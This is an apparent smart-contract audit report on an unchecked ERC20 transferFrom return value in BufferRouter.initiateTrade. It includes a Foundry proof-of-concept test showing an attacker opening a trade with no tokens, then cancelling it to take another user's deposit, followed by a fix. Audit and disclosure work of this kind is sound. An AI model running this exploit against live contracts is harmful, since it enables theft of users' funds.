H-01.md

ERC20 transferFrom isn't validated in function initiateTrade of BufferRouter contract

Summary

The initiateTrade function present in the BufferRouter contract uses ERC.transferFrom(...) to transfer funds from the user to the contract, but fails to verify the result of the call, which may lead an attacker to steal funds in case of non-standard ERC20 implementations.

Vulnerability Detail

When a new trade is initiated in the BufferRouter contract, the initiateTrade will pull funds from the caller using ERC20 transferFrom. This happens in line 86:

https://github.com/sherlock-audit/2022-11-buffer-romeroadrian/blob/main/contracts/contracts/core/BufferRouter.sol#L86

IERC20(optionsContract.tokenX()).transferFrom(
    msg.sender,
    address(this),
    totalFee
);

In case of a non-standard ERC20 that signals success using the boolean return value, the current implementation will fail to correctly validate the operation, and let the function continue its execution assuming the tokens were correctly transferred.

Impact

In case the token follows a non-standard ERC20 implementation, this issue may allow an attacker to create a trade without actually transferring any tokens.

Since the return value of the call to transferFrom isn't checked, it is assumed that tokens were correctly transferred and the call to initiateTrade will succeed and create the position.

The attacker can then proceed to cancel the queued trade, which will cancel the trade and initiate the refund process. Here the router will transfer funds from its balance back to the attacker. This way the attacker can effectively steal tokens from the contract.

Note that this would require of another user making a trade with a "real" transfer of funds, so that tokens are available at the router. However, this isn't difficult to pull, since the attacker can monitor the contract for deposits from other users and immediately initiate a trade for the same amount and cancel it (this can even be done in a single transaction using an attacker contract).

Code Snippet

In the following test Bob doesn't have any tokens, but he is able to create a trade. After Alice has created her position and transferred her tokens to the router contract, Bob is able to cancel the trade and steal the tokens.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;

import "forge-std/Test.sol";
import "../src/core/BufferRouter.sol";
import "../src/core/BufferBinaryOptions.sol";
import "../src/core/BufferBinaryPool.sol";
import "../src/core/OptionsConfig.sol";
import "../src/core/ReferralStorage.sol";
import "../src/interfaces/Interfaces.sol";
import "../src/tokens/USDC.sol";
import "../src/tokens/BadERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

contract AuditPoolTest is Test {
    bytes32 constant ROUTER_ROLE = keccak256("ROUTER_ROLE");
    bytes32 constant OPTION_ISSUER_ROLE = keccak256("OPTION_ISSUER_ROLE");

    event OpenTrade(address indexed account, uint256 queueId, uint256 optionId);

    address owner;
    uint256 publisherPrivateKey;
    address publisher;
    address feeRecipient;
    address keeper;
    address alice;
    address bob;

    function setUp() public {
        owner = makeAddr("owner");
        publisherPrivateKey = 0x1234;
        publisher = vm.addr(publisherPrivateKey);
        feeRecipient = makeAddr("feeRecipient");
        keeper = makeAddr("keeper");
        alice = makeAddr("alice");
        bob = makeAddr("bob");
    }

    function test_BuffeRouter_initiateTrade_FailedTransfer() public {
        // Setup
        vm.startPrank(owner);

        BadERC20 token = new BadERC20();
        BufferBinaryPool pool = new BufferBinaryPool(token);
        OptionsConfig config = new OptionsConfig(pool);
        ReferralStorage referral = new ReferralStorage();
        BufferBinaryOptions binary = new BufferBinaryOptions(
            token,
            pool,
            config,
            referral,
            IBufferBinaryOptions.AssetCategory.Crypto,
            "ETH/BAD"
        );
        BufferRouter router = new BufferRouter(publisher);

        router.setContractRegistry(address(binary), true);
        router.setKeeper(keeper, true);

        vm.stopPrank();

        uint256 amount = 1e6;

        // Alice has 1e6 tokens, bob none
        vm.prank(owner);
        token.transfer(alice, amount);

        // Alice makes a trade with a real deposit
        vm.prank(alice);
        token.approve(address(router), type(uint256).max);
        vm.prank(alice);
        router.initiateTrade(
            amount, // uint256 totalFee,
            1 hours, // uint256 period,
            true, // bool isAbove,
            address(binary), // address targetContract,
            1, // uint256 expectedStrike,
            5e2,// uint256 slippage,
            true, // bool allowPartialFill,
            "", // string memory referralCode,
            0 // uint256 traderNFTId
        );

        // Tokens are in router
        assertEq(token.balanceOf(alice), 0);
        assertEq(token.balanceOf(address(router)), amount);

        // Bob makes a fake deposit, he doesn't have any tokens. This still succeeds because the return condition of the ERC20 transfer isn't checked
        vm.prank(bob);
        uint256 queueId = router.initiateTrade(
            amount, // uint256 totalFee,
            1 hours, // uint256 period,
            true, // bool isAbove,
            address(binary), // address targetContract,
            1, // uint256 expectedStrike,
            5e2,// uint256 slippage,
            true, // bool allowPartialFill,
            "", // string memory referralCode,
            0 // uint256 traderNFTId
        );

        // Now bob cancels his trade before its processed, this will return the tokens (from alice) that were already stored in the router
        vm.prank(bob);
        router.cancelQueuedTrade(queueId);

        // Bob stole the tokens
        assertEq(token.balanceOf(alice), 0);
        assertEq(token.balanceOf(bob), amount);
        assertEq(token.balanceOf(address(router)), 0);
    }
}

Tool used

None

Recommendation

Verify the result of the call is true, as it is correclty done in other parts of the code (BufferBinaryPool for example).

bool success = IERC20(optionsContract.tokenX()).transferFrom(
    msg.sender,
    address(this),
    totalFee
);
require(success);